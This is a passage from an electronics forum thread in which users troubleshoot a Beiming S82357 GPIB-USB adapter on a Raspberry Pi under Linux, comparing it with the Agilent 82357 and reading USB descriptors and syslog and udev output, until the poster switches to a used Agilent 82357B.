        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x88  EP 8 IN
        bmAttributes            3
          Transfer Type            Interrupt
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0008  1x 8 bytes
        bInterval               1

Also found an e-mail address on google groups that should be contacted to get updated firmware (that post was even older than the one you linked, though). I wrote to that already, but no response so far. I’ll try it through the forum, too, maybe that will work.
The 82537 changes it's device id when the firmware is uploaded.  0x718 is the one when it is, so that's good.

Oh, btw, is the adapter LED lit green or red?
 

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #431 on: November 23, 2023, 05:12:12 pm »
It's my understanding that the Beiming/Agilent 82357 holds only a minimal boot ROM and the actual firmware is uploaded when connecting to the USB bus.  So it's actually the host OS which provides the firmware via the fxload executable in user space (/usr/sbin/fxload).  In the log files (/var/log/syslog) there should be a note regarding which file is being uploaded (`grep fxload /var/log/syslog`).
Are you sure about that for the Beiming? The information here suggests differently.

Looks good, that's not the problem.  If you could share the syslog, then we might get further.
See this post.
 
The following users thanked this post: electronomicon

Offline electronomicon

  • Contributor
  • Posts: 34
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #432 on: November 23, 2023, 05:53:25 pm »
Not that I know of.  It's my understanding that the Beiming/Agilent 82357 holds only a minimal boot ROM and the actual firmware is uploaded when connecting to the USB bus.  So it's actually the host OS which provides the firmware via the fxload executable in user space (/usr/sbin/fxload).  In the log files (/var/log/syslog) there should be a note regarding which file is being uploaded (`grep fxload /var/log/syslog`).

As alm pointed out, this seems to be only the case for the Agilent adapter.

Sure nothing has changed?  The GPIB cable is tightly connected?  The majority of the devices on the bus are on?  The Raspberry Pi gets enough power (don't laugh: poor (USB) power cable is a major issue with Raspberry Pi, recent Linux kernels at least log (you find it in /var/log/syslog) when the CPU determines that there is barely enough juice, which might not be enough of USB devices to work correctly.

I tried all sorts of different combinations, even every device on its own, directly connected to the adapter. Always the same issue. Current setup is the same as tested successfully on Windows (all three devices connected with two cables and all tuned on).
A higher power adapter (2.4 A max. at 5 V) also didn’t help. I currently cannot test a different USB power cable and micro USB to USB adapter (which the GPIB-Interface is connected to) as I don’t have spares for them.

There’s also no CPU related logs in /var/log/syslog, but there are GPIB related ones (when running ibtest):
Code: [Select]
Nov 23 18:47:32 raspberrypi kernel: [  221.387706] gpib: ioctl 3 invalid for offline board
Nov 23 18:47:32 raspberrypi kernel: [  221.387907] gpib: ioctl 5 invalid for offline board
Nov 23 18:47:32 raspberrypi kernel: [  221.387985] gpib: ioctl 5 invalid for offline board
Nov 23 18:49:49 raspberrypi kernel: [  358.658488] gpib: ioctl 3 invalid for offline board
Nov 23 18:49:49 raspberrypi kernel: [  358.658666] gpib: ioctl 5 invalid for offline board
Nov 23 18:49:49 raspberrypi kernel: [  358.658744] gpib: ioctl 5 invalid for offline board

The 82537 changes it's device id when the firmware is uploaded.  0x718 is the one when it is, so that's good.

Oh, btw, is the adapter LED lit green or red?
The S82357 doesn’t. It already has the 0x718 when plugged in and stayed that way when I still tried to upload the firmware.
it also doesn’t have indicator LEDs (probably because of that).
« Last Edit: November 23, 2023, 05:55:35 pm by electronomicon »
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #433 on: November 23, 2023, 09:02:04 pm »
It's my understanding that the Beiming/Agilent 82357 holds only a minimal boot ROM and the actual firmware is uploaded when connecting to the USB bus.  So it's actually the host OS which provides the firmware via the fxload executable in user space (/usr/sbin/fxload).  In the log files (/var/log/syslog) there should be a note regarding which file is being uploaded (`grep fxload /var/log/syslog`).
Are you sure about that for the Beiming? The information here suggests differently.
Oh, right, the Beiming is more different from the Agilent than I expected, given that Agilent sold also models made by Beiming (and bears the same USB product id).

Looks good, that's not the problem.  If you could share the syslog, then we might get further.
See this post.
No, I was hoping for the syslog, but was chiefly looking for the fxload entries (which I now understand won't be there) and potential power problems, which we were now assured didn't occur.
 

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #434 on: November 23, 2023, 10:01:08 pm »
Oh, right, the Beiming is more different from the Agilent than I expected, given that Agilent sold also models made by Beiming (and bears the same USB product id).
Based on what someone claiming to be the designer of the Beiming adapter writes here, Beiming never made adapters for Agilent/Keysight.
 
The following users thanked this post: guenthert

Offline electronomicon

  • Contributor
  • Posts: 34
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #435 on: November 23, 2023, 11:55:49 pm »
No, I was hoping for the syslog, but was chiefly looking for the fxload entries (which I now understand won't be there) and potential power problems, which we were now assured didn't occur.
Correct, no fxload entries in the syslog.

But I found some udev related stuff I hadn’t seen before, maybe this is of any help?
Code: [Select]
raspi-config[331]: Error opening '/dev/input/event*': No such file or directory
[…]
systemd-udevd[141]: regulatory.0: Process '/lib/crda/crda' failed with exit code 249.
systemd-udevd[135]: event0: Process '/usr/sbin/th-cmd --socket /var/run/thd.socket -- passfd --udev' failed with exit code 1.
systemd-udevd[141]: regulatory.0: Process '/lib/crda/crda' failed with exit code 249.
[…]
/usr/local/lib/udev/gpib_udev_config:entered for Product: 957/718/0 Devpath: /devices/platform/soc/20980000.usb/usb1/1-1/1-1:1.0 Serial: CP1001xxxx
/usr/local/lib/udev/gpib_udev_config: gpib_config options: --board-type agilent_82357a
[…]
systemd-udevd[136]: 1-1:1.0: Process '/usr/local/lib/udev/gpib_udev_config' failed with exit code 255.
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #436 on: November 24, 2023, 09:11:37 am »
Oh, right, the Beiming is more different from the Agilent than I expected, given that Agilent sold also models made by Beiming (and bears the same USB product id).
Based on what someone claiming to be the designer of the Beiming adapter writes here, Beiming never made adapters for Agilent/Keysight.

Thanks, that was an interesting read.  So he was forbidden to mention Agilent in the eBay listing, but got away using their USB vendor id.  Looks like a mess, oh well.  And since that fellow stopped selling those devices eight years ago for it being too much of a hassle for little gain, there is only a slim hope getting him to help with the Linux side.
 

Offline electronomicon

  • Contributor
  • Posts: 34
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #437 on: December 09, 2023, 10:30:09 pm »
Small update from me: I never heard back from the Beiming guy. I ended up getting a used Agilent 82357B and it’s working now. Everything was perfectly set up already from my previous attempts, basically I just had to plug it in. Going to pass on the Beiming adapter, as it’s still perfectly usable under Windows.
 
The following users thanked this post: guenthert


Share me

Digg  Facebook  SlashDot  Delicious  Technorati  Twitter  Google  Yahoo
Smf